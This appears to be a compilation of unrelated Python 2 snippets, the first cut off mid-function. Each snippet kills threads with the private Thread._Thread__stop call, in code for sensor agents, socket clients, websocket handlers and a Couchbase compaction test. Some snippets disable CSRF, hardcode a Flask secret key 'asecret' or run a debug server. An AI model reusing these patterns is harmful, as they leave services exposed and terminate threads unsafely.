self.on_server_response) self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 0.02: self._waiting = False return False self._waiting = False self.connection = True return True except: self.connection = False return False else: self._socket.emit('echo', u'{1337:"\u0ca0_\u0ca0"}', self.on_server_response) self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 0.02: self._waiting = False return False if self._waiting: self._waiting = False return True # Callback def on_server_response(self, *args): self._message = args self._waiting = True def start_batch(self, groupID='CW1A1', userID='r0451728'): """Tells the server to prepare for batch data Returns True if request was succesful, False otherwise""" self._waiting = False self._socket.emit('start', dumps({'purpose': 'batch-sender', 'groupID': groupID, 'userID': userID}), self.on_server_response) # self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 0.02: self._waiting = False print(self._message) return False self._waiting = False print(self._message) succesfull = self._message[0].values()[0] == 200 return succesfull def send_batch(self, tripData): """Sends batch data for trip. Precede with start_batch(). Returns trip ID if succesfull""" self._waiting = False self._socket.emit('batch-tripdata', dumps(tripData), self.on_server_response) # self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 1.00: self._waiting = False return False self._waiting = False print("server answer", self._message) return self._message[0]["_id"] def start_trip(self, groupID='CW1A1', userID='r0451728'): """Starts new realtime trip. Returns ID for trip if succesful""" self._waiting = False self._socket.emit('start', dumps({'purpose': 'realtime-sender', 'groupID': groupID, 'userID': userID}), self.on_server_response) # self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 0.02: self._waiting = False return False self._waiting = False print(self._message[0]["message"]) return self._message[0]["_id"] def send_data(self, _id, sensorData): """Sends data belonging to a certain trip""" self._waiting = False self._socket.emit('rt-sensordata', dumps({'_id': _id, 'sensorData': sensorData}), self.on_server_response) # self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 0.02: self._waiting = False return False self._waiting = False print(self._message) def end_trip(self, _id, metadata): """Ends the trip designated by _id""" self._waiting = False self._socket.emit('endBikeTrip', dumps({'_id': _id, 'meta': metadata}), self.on_server_response) # self._waiting = False starttime = clock() while not self._waiting: sleep(0.01) if clock() - starttime > 0.02: self._waiting = False return False self._waiting = False print(self._message) def __del__(self): """Destructor: kills the callback listener""" self._listener._Thread__stop() self._socket.disconnect() sleep(1)
from http.server import HTTPServer, CGIHTTPRequestHandler from threading import Thread import cgitb import sys sys.path.insert(0, './cgi-bin') import img_cleaner cgitb.enable() ## This line enables CGI error reporting server = HTTPServer handler = CGIHTTPRequestHandler server_address = ("", 8000) cleaner_thread = Thread(target=img_cleaner.thread) print("server started") try: cleaner_thread.start() except (KeyboardInterrupt, SystemExit): cleaner_thread._Thread__stop() sys.exit httpd = server(server_address, handler) httpd.serve_forever()
class OBSRemoteSwitcher(): """Handler to talk to OBSRemote by websocket. Handles authentication, SceneChanges and SceneUpdates """ def switch_to_scene(self, scene): # Set the current scene data = {"request-type":'SetCurrentScene', 'scene-name':scene} self.send(data) def update_scenes(self): data = {"request-type":'GetSceneList'} self.send(data) def send(self, data): if not type(data) == dict or not data: return False data = self.json_encoder.encode(data) try: self.ws.send(data) except: pass def authenticate(self): #TODO: Authentication print 'authenticate not yet implemented' def start(self): self.ws = websocket.WebSocketApp("ws://{0}/".format(self.obsurl), on_message=self.on_message, on_error = self.on_error, on_open = self.on_open, header = ['Sec-WebSocket-Protocol: obsapi']) websocket.setdefaulttimeout(5) self.thread = Thread(target=self.ws.run_forever, name='thread-overlayswitcher.sceneswitcher.obsremote.ws.fun_forever') self.thread.start() def stop(self): self.connected = False self.ws.close() self.thread._Thread__stop() def on_message(self, ws, message): """ Store new information for the overlayswitcher""" data = self.json_decoder.decode(message) if data.get('authRequired','False') == 'True': self.authenticate() if data.get('update-type','') == 'StreamStatus': self.stats = data if data.has_key('streaming'): pass if type(data.get('scenes',None)) == list: pass # print data.get('current-scene','') # print '\n'.join(i['name'] for i in data['scenes']) if data.has_key('current-scene'): current_scene = data.get('current-scene') self._overlayswitcher.active_scene = current_scene def on_error(self, ws, error): print "Error in the OBS Remote Handler:", error self.stop() def on_open(self, ws): if ws is None or ws.sock is None: print 'OBSRemote Socket Error!' return self.connected = ws.sock.connected if not self.connected: print 'Could not establish a connection to OBSRemote! Aborting' return else: print 'Websocket created' self.update_scenes() data = {"request-type":'GetAuthRequired'} self.send(data) def __init__(self, settings, overlayswitcher): self.json_encoder = json.JSONEncoder() self.json_decoder = json.JSONDecoder() self.password = settings.OBS_REMOTE_PASS self.obsurl = settings.OBS_REMOTE_URL self._overlayswitcher = overlayswitcher self.obs_streaming = 0 self.connected = False #have we got a message yet? #websocket.enableTrace(True) self.start()
def terminate(self): if self.is_alive(): Thread._Thread__stop(self)
def stop(self): Thread._Thread__stop(self) print("%s stopped" % self.name)
class BlackPearl(): def __init__(self, ghost, pirateClass, host='127.0.0.1', port=8000, request_life=300): """This is a Server that wake up Ghost instances. :param pirateClass: The class that we want to instanciate to do the work :param port: The port where the server will run :param request_life: The time that takes to cancel an request (in case of failure or slow network). """ self._pirateClass = pirateClass self.gh = ghost self.request_life = request_life self._host = host self._port = port self._pirates = [] self._start_request = [] self._request_ready = {} self._sleep_bag = {} def start(self): """Start the BlackPearl Server""" Logger.log("Starting BlackPearl Server", sender="BlackPearl") self._start_server(self._port) self.process_events() def _start_server(self, port): self._server = Flask(__name__) self._server.config['CSRF_ENABLED'] = False self._server.config['SECRET_KEY'] = 'asecret' @self._server.route('/work', methods=['POST']) def work(): data = request.values.to_dict().get("data", None) name = self._start_process(data) while self._request_ready[name] is None: time.sleep(1) Logger.log("Ending Pirate Instance", sender="BlackPearl") return Response(json.dumps(self._request_ready[name])) self.server = Thread(target=self._server.run, kwargs=dict(threaded=True, host=self._host, port=self._port)) self.server.start() def _start_process(self, data=None): Logger.log("Starting Pirate Instance", sender="BlackPearl") name = str(random.randint(0, 999999999)) self._request_ready[name] = None self._start_request.append((name, data)) return name def _set_ready(self, pirateRequest, data): self._request_ready[pirateRequest.name] = data self._pirates.remove(pirateRequest) del pirateRequest.pirate def _queue_pirates(self): while len(self._start_request) > 0: name, data = self._start_request.pop(0) pirate = self._pirateClass(self.gh) pirate.start(data) self._pirates.append(PirateRequest(self.request_life, name, pirate)) def process_events(self): """Main process that manages all the events queued""" j = 0 while True: try: self._queue_pirates() for pr in self._pirates: name, pirate = pr.name, pr.pirate ev = pirate.get_event() if ev is None or pr.is_old(): is_ready = True Logger.log("Error. Old request, removing from list", sender="BlackPearl") else: try: if ev in self._sleep_bag and self._sleep_bag[ ev] > time.time(): # we wait for this pirate.event_ready(ev) break sleep_time = ev.execute() pirate.event_ready(ev) is_ready = not pirate.has_events() if sleep_time > 0.0 and not is_ready: self._sleep_bag[ev] = time.time() + sleep_time self.gh.process_events() except Exception as ex: print ex is_ready = True Logger.log("Error. Removing element", sender="BlackPearl") if is_ready: data = pirate.get_result() self._set_ready(pr, data) if ev in self._sleep_bag: del self._sleep_bag[ev] if len(self._start_request) == 0 and len(self._pirates) == 0: time.sleep(0.1) except KeyboardInterrupt: Logger.log("Keyboard interupt. Let get out of here.", sender="BlackPearl") self.server._Thread__stop() break
class RaspberryAgent(AbstractAgentClass): exposed = True def __init__(self, serviceName, logLevel): super(RaspberryAgent, self).__init__(serviceName, logLevel) #About DHT sensor self.dhtPin = 18 self.isDHTInstalled = False self.dhtType = Adafruit_DHT.DHT22 #About PIR sensor self.isPirInstalled = False self.pirPin = 7 self.WSUri = ( "http://%s:%s%s" % (self.getIpAddress(), str(httpPort), self.getMountPoint())) self.myhome = self.retriveHomeSettings() self.brokerUri = self.myhome["homeMessageBroker"]["address"] self.brokerPort = self.myhome["homeMessageBroker"]["port"] def getMountPoint(self): return '/rest/raspberry' def setDHTPin(self, dhtPin): self.dhtPin = dhtPin def setDHTType(self, dhtType): if (dhtType == 11): self.dhtType = Adafruit_DHT.DHT11 elif (dhtType == 22): self.dhtType = Adafruit_DHT.DHT22 elif (dhtType == 2302): self.dhtType = Adafruit_DHT.Adafruit_DHT.AM2302 def setDHTInstalled(self, isDHTInstalled): self.isDHTInstalled = isDHTInstalled def setPirPin(self, pirPin): self.pirPin = pirPin def setPirInstalled(self, isPirInstalled): self.isPirInstalled = isPirInstalled def start(self): self.mqtt = MyMQTTClass(self.serviceName, self.logger, self) self.mqtt.connect(self.brokerUri, self.brokerPort) if self.isPirInstalled: gpio.setmode(gpio.BOARD) gpio.setup(self.pirPin, gpio.IN) gpio.add_event_detect(self.pirPin, gpio.BOTH, callback=self.pirCallback, bouncetime=200) if self.isDHTInstalled: self.dhtThread = Thread(target=self.loop) self.dhtThread.start() self.logger.info("Started") def loop(self): while (True): humVal, tempVal = self.getDHTValues() if humVal is not "0.0": topic, payload = self.makeEvent("humidity", humVal) self.mqtt.syncPublish(topic, payload, 2) if tempVal is not "0.0": topic, payload = self.makeEvent("temperature", tempVal) self.mqtt.syncPublish(topic, payload, 2) time.sleep(timer) def getDHTValues(self): humidity = None temperature = None if self.isDHTInstalled: humidity, temperature = Adafruit_DHT.read_retry( self.dhtType, self.dhtPin) if humidity is None: humidity = 0.0 if temperature is None: temperature = 0.0 return str(round(humidity, 2)), str(round(temperature, 2)) def pirCallback(self, pin): if gpio.input(self.pirPin): topic, payload = self.makeEvent("motion", "True") self.mqtt.syncPublish(topic, payload, 2) time.sleep(30) else: topic, payload = self.makeEvent("motion", "False") self.mqtt.syncPublish(topic, payload, 2) def stop(self): if (hasattr(self, "dhtThread")): if self.dhtThread.isAlive(): try: self.dhtThread._Thread__stop() except: self.logger.error( str(self.dhtThread.getName()) + ' (dht send event thread) could not terminated') if (hasattr(self, "mqtt")): try: self.mqtt.disconnect() except Exception, e: self.logger.error("Error on stop(): %s" % (e)) self.logger.info("Ended") sys.exit(0)
def _stop(self): if self.isAlive(): Thread._Thread__stop(self)
class ThingspeakSubscriber(AbstractSubscriber): def __init__(self): super(ThingspeakSubscriber, self).__init__(subscriberName, "", logLevel) self.msgQueue = [] self.__lock = threading.Lock() self.eventChannelMap = {} self.timer = 15 # sleep due to thingspeak limitations def mekeTopic(self, device, measureType): return EventTopics.getSensorMeasurementEvent() + "/" + str( device) + "/" + str(measureType).lower() def start(self): # method overrided resp, isOk = self.invokeWebService(self.homeWSUri) while (not isOk): self.logger.error( "Unable to find the home proxy. I will try again in a while..." ) resp, isOk = self.invokeWebService(self.homeWSUri) time.sleep(10) #sleep 10 seconds myhome = json.loads(resp) brokerUri = myhome["homeMessageBroker"]["address"] brokerPort = myhome["homeMessageBroker"]["port"] if (brokerUri != None and brokerUri != "") and (brokerPort != None and brokerPort != ""): self.mqttc = MyMQTTClass(self.subscriberName, self.logger, self) self.mqttc.connect(brokerUri, brokerPort) for a, room in enumerate(myhome["rooms"]): for b, device in enumerate(room["devices"]): for c, channel in enumerate(device['thingspeakChannels']): topic = self.mekeTopic(device["deviceID"], channel['measureType']) self.eventChannelMap[topic] = channel['feed'] event = self.mqttc.subscribeEvent(None, topic) self.subscribedEventList += event else: self.logger.error("The message broker address is not valid") self.uploadThread = Thread(target=self.upload) self.uploadThread.start() self.loop() def stop(self): if (hasattr(self, "uploadThread")): if self.uploadThread.isAlive(): try: self.uploadThread._Thread__stop() except: self.logger.error( str(self.uploadThread.getName()) + ' (upload value thread) could not terminated') super(ThingspeakSubscriber, self).stop() def upload(self): while (True): try: if (len(self.msgQueue) > 0): resp, isOk = self.invokeWebService(self.msgQueue[0]) if isOk and resp is not "0": self.__lock.acquire() deleted = self.msgQueue[0] del self.msgQueue[0] self.__lock.release() time.sleep( self.timer) # sleep due to thingspeak limitations else: self.logger.error("Unable to upload new value: %s" % (resp)) time.sleep(1) except Exception, e: self.logger.error( "Error on ThingspeakSubscriber.upload() %s: " % e)
def test_database_fragmentation(self): self.log.info('start test_database_fragmentation') self.err = None BucketOperationHelper.delete_all_buckets_or_assert(self.servers, self) percent_threshold = self.autocompaction_value bucket_name = "default" MAX_RUN = 100 item_size = 1024 update_item_size = item_size * ((float(100 - percent_threshold)) / 100) serverInfo = self.servers[0] self.log.info(serverInfo) rest = RestConnection(serverInfo) remote_client = RemoteMachineShellConnection(serverInfo) output, rq_content, header = rest.set_auto_compaction("false", dbFragmentThresholdPercentage=percent_threshold, viewFragmntThresholdPercentage=None) if not output and (percent_threshold <= MIN_COMPACTION_THRESHOLD or percent_threshold >= MAX_COMPACTION_THRESHOLD): self.assertFalse(output, "it should be impossible to set compaction value = {0}%".format(percent_threshold)) import json self.assertTrue(json.loads(rq_content).has_key("errors"), "Error is not present in response") self.assertTrue(str(json.loads(rq_content)["errors"]).find("Allowed range is 2 - 100") > -1, \ "Error 'Allowed range is 2 - 100' expected, but was '{0}'".format(str(json.loads(rq_content)["errors"]))) self.log.info("Response contains error = '%(errors)s' as expected" % json.loads(rq_content)) elif (output and percent_threshold >= MIN_COMPACTION_THRESHOLD and percent_threshold <= MAX_RUN): node_ram_ratio = BucketOperationHelper.base_bucket_ratio(TestInputSingleton.input.servers) info = rest.get_nodes_self() available_ram = info.memoryQuota * (node_ram_ratio) / 2 items = (int(available_ram * 1000) / 2) / item_size print "ITEMS =============%s" % items rest.create_bucket(bucket=bucket_name, ramQuotaMB=int(available_ram), authType='sasl', saslPassword='******', replicaNumber=1, proxyPort=11211) BucketOperationHelper.wait_for_memcached(serverInfo, bucket_name) BucketOperationHelper.wait_for_vbuckets_ready_state(serverInfo, bucket_name) self.log.info("******start to load {0}K keys with {1} bytes/key".format(items, item_size)) #self.insert_key(serverInfo, bucket_name, items, item_size) generator = BlobGenerator('compact', 'compact-', int(item_size), start=0, end=(items * 1000)) self._load_all_buckets(self.master, generator, "create", 0, 1, batch_size=1000) self.log.info("sleep 10 seconds before the next run") time.sleep(10) self.log.info("********start to update {0}K keys with smaller value {1} bytes/key".format(items, int(update_item_size))) generator_update = BlobGenerator('compact', 'compact-', int(update_item_size), start=0, end=(items * 1000)) if self.during_ops: if self.during_ops == "change_port": self.change_port(new_port=self.input.param("new_port", "9090")) self.master.port = self.input.param("new_port", "9090") elif self.during_ops == "change_password": old_pass = self.master.rest_password self.change_password(new_password=self.input.param("new_password", "new_pass")) self.master.rest_password = self.input.param("new_password", "new_pass") rest = RestConnection(self.master) insert_thread = Thread(target=self.load, name="insert", args=(self.master, self.autocompaction_value, self.default_bucket_name, generator_update)) try: self.log.info('starting the load thread') insert_thread.start() compact_run = remote_client.wait_till_compaction_end(rest, bucket_name, timeout_in_seconds=(self.wait_timeout * 10)) if not compact_run: self.fail("auto compaction does not run") elif compact_run: self.log.info("auto compaction run successfully") except Exception, ex: self.log.info("exception in auto compaction") if self.during_ops: if self.during_ops == "change_password": self.change_password(new_password=old_pass) elif self.during_ops == "change_port": self.change_port(new_port='8091', current_port=self.input.param("new_port", "9090")) if str(ex).find("enospc") != -1: self.is_crashed.set() self.log.error("Disk is out of space, unable to load more data") insert_thread._Thread__stop() else: insert_thread._Thread__stop() raise ex else: insert_thread.join() if self.err is not None: self.fail(self.err)
class CaptureSession: """ Interfaces between card, gui and data buffers """ def __init__(self, globalSession, errorFnc): self.settings = SessionSettings() self.fileManager = FileManager(self.settings) self.dmanager = DataManager(self.settings, globalSession, errorFnc) self.needsSaved = False # captured data that needs saved # method that updates statusbar self.globalSession = globalSession # method displays error popup self.errorFnc = errorFnc # if we load in a session from file, we don't want to # wipe it over in a new capture, so we set the # read only flag to true self.readOnly = False self.running = True self.dmanager.running = self.running def setName(self, name): """ Change the name of the current session """ self.settings.name = name def getName(self): return self.settings.name def loadSettings(self, path): """ Loads just settings from file """ self.settings = self.fileManager.getSettings(path) self.settings.filename = "" def saveSession(self): """ Save session to current filename """ self.fileManager.writeCapture(self.dmanager.getRawCountData(), self.dmanager.getRawAIData(), self.dmanager.getCombinedData()) self.needsSaved = False def saveSessionAs(self, path): """ Save session to new filename """ self.settings.filename = path self.saveSession() def startCapture(self): """ Need to reinitialise dmanager. Can't rely on the fact that self.settings is a pointer as need to recalculate stuff like voltage intervals """ self.settings.sanitise() # reinitialise data manager to do things like voltage calcs self.dmanager.initialise(self.settings, self.globalSession, self.errorFnc) # queue for passing data between acquisition and dmanager q = Queue() # set up acquisition process and start self.captureProcess = Process(target=acquire, args=(self.settings, q, self.running)) self.captureProcess.start() # set up data capture process and start self.dAcqThread = Thread(target=self.dmanager.dataCallback, args=(q,)) self.dAcqThread.start() self.needsSaved = True def registerGraphManager(self, graphManager): self.dmanager.registerGraphManager(graphManager) def getRange(self): """ Returns the range required for gauge """ self.settings.sanitise() return self.settings.scans def clearGraph(self): self.dmanager.graphManager.clearPlot() def killCapture(self): """ Kills running capture. Program's behaviour may become undefined """ try: self.captureProcess.terminate() except: self.errorFnc("Could not stop capture process") self.dAcqThread._Thread__stop() self.clearDevice() def stopCapture(self): """ Stops running capture at end of scan (bit of cheat, just deletes the scan before) """ self.running = False self.dmanager.running = False try: self.captureProcess.terminate() except: self.errorFnc("Could not stop capture process") def isCapturing(self): """ Returns true if capturing is in progress """ return self.captureProcess.is_alive() def setGlobalSettings(self, settings): self.globalSettings = settings
response.headers[ 'Access-Control-Allow-Headers'] = 'Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token' response.headers['Content-Type'] = 'application/json' @route('/lumens') def get_lumens(): return lumens[0] @route('/dB') def get_dB(): return dB[0] #return {"a": 1} @route('/temp') def get_temp(): return T[0] @route('/humidity') def get_humidity(): return H[0] run(host='localhost', port=8080, debug=True) # stop threads t1._Thread__stop()